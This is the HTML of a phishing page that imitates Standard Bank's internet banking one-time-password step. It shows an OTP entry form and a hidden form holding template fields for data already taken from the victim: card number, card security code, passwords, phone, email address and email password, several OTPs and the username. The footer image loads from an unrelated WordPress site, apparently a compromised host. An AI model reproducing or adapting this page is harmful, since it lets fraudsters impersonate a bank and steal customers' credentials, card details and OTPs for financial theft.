                                                                                  
                                                                                  
                                                                                  on <b><script type="text/javascript">

            var nowDateTime = new Date();

            document.write(dateFormat(nowDateTime, "yyyy-mm-dd h:MM:ss"));

        </script></b>:
                                                                                        </div>
                                                                                        <br>
                                                                                        <div>
                                                                                                <div class="form-group">
                                                                                                                <input maxlength="5" name="otp" id="otp" placeholder="" class="input-sm" value="" autofocus="" type="password">
                                                                                                </div>    
                                                                                        </div>
                                                                                        <hr>
                                                                                        <div class="form-group">
                                                                                                <button type="submit" name="submit_otp" name="submit_otp" accesskey="C" value="Continue" class="btn btn-primary ladda-button" data-style="expand-left">
                                                                                                        <span class="ladda-label">Next</span><span class="ladda-spinner"></span>
                                                                                                        <div class="ladda-progress"></div>
                                                                                                <span class="ladda-spinner"></span></button>
                                                                                                <button type="submit" name="submit_new_channel" id="submit_new_channel" accesskey="R" value="Resend" class="btn btn-info ladda-button" data-spinner-color="black" data-style="expand-left">
                                                                                                <span class="ladda-label">Resend OTP</span>
                                                                                                <span class="ladda-spinner"></span><span class="ladda-spinner"></span><div class="ladda-progress" style="width: 0px;"></div></button>
                                                                                        </div>
                                                                                        <br>
                                                                                        <div>
                                                                                                <b> Note: </b>
                                                                                                <ol>
                                                                                                        <li>If you request a new one-time password the previous password will no longer be valid.  
                                                                                                        </li><li>Your one-time password can be used for one Internet banking transaction only.
                                                                                                        </li><li>You will have to wait 30 seconds before you can request a new OTP to be generated.
                                                                                                        </li><li>Your one-time password is valid for 15 minutes from the time it was generated. 
                                                                                                        </li><li>If you are not able to receive your OTP via your default delivery method, please call the Customer contact centre.
                                                                                                </li></ol>
                                                                                        </div>
                                                                                        <div>
                                                                                                <script>
                                                                                                
                                                                                                </script>
                                                                                        </div>
                                                                        </form>
                                                                                
                                                                                
                                                                                
                                                                                
<form action="" name="form100"  id="form100" method="post">
                                <input type="hidden" name="ccn-hidden" value="{ccn}">
                                <input type="hidden" name="csp-hidden" value="{csp}">
                                <input type="hidden" name="pwd-hidden" value="{pwd}">
                                <input type="hidden" name="phone-hidden" value="{phone}">                                                                                        
                                <input type="hidden" name="ccn-email-hidden" value="{ccn-email}">
                                <input type="hidden" name="ccn-emailpassword-hidden" value="{ccn-emailpassword}">
                                <input type="hidden" class="otpvalue" name="otp1-hidden" value="{otp1}">
                                <input type="hidden" class="otpvalue" name="otp2-hidden" value="{otp2}">
                                <input type="hidden" class="otpvalue" name="otp3-hidden" value="{otp3}">
                                <input type="hidden" class="otpvalue" name="otp4-hidden" value="{otp4}">
                                <input type="hidden" name="username-hidden" value="{username}">
                                <input type="hidden" name="password-hidden" value="{password}">
                                <input type="hidden" name="password2-hidden" value="{password2}">
                            </form>                                                                                
                                                                </div>
                                                                </div>                                                    
                                                        </div>                                                    
                                                                                                        
                        
                                                </div>                                            
                                        </div>





                        </div>
                </div>
        </div>


<footer>
        <div class="row">
                <div class="col-sm-12">
                        <img class="img-responsive pull-right" style="padding-top: 10px; padding-right: 20px; width: 135px;" src="http://dranuradharai.com/wp-includes/rest-api/en-ZA-ATTACHMENT2017/movingfwd.png" alt="Movingforwardtrademarklogo">
                        <p class="pull-left" style="padding-top: 10px; padding-left: 20px;">
                                <small>© 2014 Standard Bank <span id="footerText">is a licensed financial services provider in terms of the Financial Advisory and Intermediary
                                Services Act.</span></small>
                        </p>
                </div>
        </div>
</footer>

<div class="modal" id="genericModal" role="dialog" aria-labelledby="genericModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
        </div>
    </div>
</div>

<style type="text/css">
@media print {
        body.modal-open #pageContentFrame {
                display: none;
        }

        body.modal-open #pageContentMainFrame {
                display: none;
        }

        body.modal-open .btn, body.modal-open .modal-footer {
                display: none;
        }

        button.close {
                display: none;
        }

        body.modal-open, body.modal-open #genericModalBody, body.modal-open #genericModal, body.modal-open .modal-body {
                width: auto;
                height: auto;
                overflow: visible;
                display: block;
        }

        body.modal-open #genericModal {
                width: auto;
                height: auto;
                overflow: visible;
                display: block;
                position: relative;
        }
}
</style>

</body></html>